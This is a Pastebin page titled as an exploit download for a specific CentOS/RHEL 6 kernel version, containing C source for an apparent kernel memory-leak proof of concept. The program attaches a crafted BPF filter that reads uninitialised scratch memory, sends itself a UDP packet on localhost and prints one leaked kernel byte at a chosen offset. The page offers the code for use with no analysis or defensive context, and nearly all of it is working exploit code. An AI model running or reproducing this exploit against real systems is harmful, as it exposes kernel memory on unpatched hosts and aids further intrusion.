HBH

2.6.32-279.11.1.el6.x86_64 exploit download

HBH
Dec 5th, 2012
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.45 KB | None | 0 0
  1. #include <string.h>
  2. #include <stdio.h>
  3. #include <netinet/in.h>
  4. #include <sys/socket.h>
  5. #include <unistd.h>
  6. #include <stdlib.h>
  7. #include <linux/filter.h>
  8.  
  9. #define PORT 37337
  10.  
  11. int transfer(int sendsock, int recvsock)
  12. {
  13.  
  14.     struct sockaddr_in addr;
  15.     char buf[512];
  16.     int len = sizeof(addr);
  17.  
  18.     memset(buf, 0, sizeof(buf));
  19.      
  20.     if (fork())
  21.         return recvfrom(recvsock, buf, 512, 0, (struct sockaddr *)&addr, &len);
  22.  
  23.     sleep(1);
  24.  
  25.     memset(&addr, 0, sizeof(addr));
  26.     addr.sin_family = AF_INET;
  27.     addr.sin_port = htons(PORT);
  28.     addr.sin_addr.s_addr = inet_addr("127.0.0.1");
  29.      
  30.     sendto(sendsock, buf, 512, 0, (struct sockaddr *)&addr, len);
  31.  
  32.     exit(0);
  33.  
  34. }
  35.  
  36. int main(int argc, char * argv[])
  37. {
  38.  
  39.     int sendsock, recvsock, ret;
  40.     unsigned int val;  
  41.     struct sockaddr_in addr;
  42.     struct sock_fprog fprog;
  43.     struct sock_filter filters[5];
  44.  
  45.     if (argc != 2) {
  46.         printf("[*] Usage: %s offset (0-63)\n", argv[0]);
  47.         return -1;
  48.     }
  49.  
  50.     val = atoi(argv[1]);
  51.  
  52.     if (val > 63) {
  53.         printf("[*] Invalid byte offset (must be 0-63)\n");
  54.         return -1;
  55.     }
  56.  
  57.     recvsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  58.     sendsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  59.  
  60.     if (recvsock < 0 || sendsock < 0) {
  61.         printf("[*] Could not create sockets.\n");
  62.         return -1;
  63.     }
  64.  
  65.     memset(&addr, 0, sizeof(addr));
  66.     addr.sin_family = AF_INET;
  67.     addr.sin_port = htons(PORT);
  68.     addr.sin_addr.s_addr = htonl(INADDR_ANY);
  69.  
  70.     if (bind(recvsock, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
  71.         printf("[*] Could not bind socket.\n");
  72.         return -1;
  73.     }
  74.  
  75.     memset(&fprog, 0, sizeof(fprog));
  76.     memset(filters, 0, sizeof(filters));
  77.  
  78.     filters[0].code = BPF_LD|BPF_MEM;
  79.     filters[0].k = (val & ~0x3) / 4;
  80.  
  81.     filters[1].code = BPF_ALU|BPF_AND|BPF_K;
  82.     filters[1].k = 0xff << ((val % 4) * 8);
  83.  
  84.     filters[2].code = BPF_ALU|BPF_RSH|BPF_K;
  85.     filters[2].k = (val % 4) * 8;
  86.  
  87.     filters[3].code = BPF_ALU|BPF_ADD|BPF_K;
  88.     filters[3].k = 256;
  89.  
  90.     filters[4].code = BPF_RET|BPF_A;
  91.  
  92.     fprog.len = 5;
  93.     fprog.filter = filters;
  94.  
  95.     if (setsockopt(recvsock, SOL_SOCKET, SO_ATTACH_FILTER, &fprog, sizeof(fprog)) < 0) {
  96.         printf("[*] Failed to install filter.\n");
  97.         return -1;
  98.     }
  99.  
  100.     ret = transfer(sendsock, recvsock);
  101.  
  102.     printf("[*] Your byte: 0x%.02x\n", ret - 248);
  103.  
  104. }
Add Comment
Please, Sign In to add comment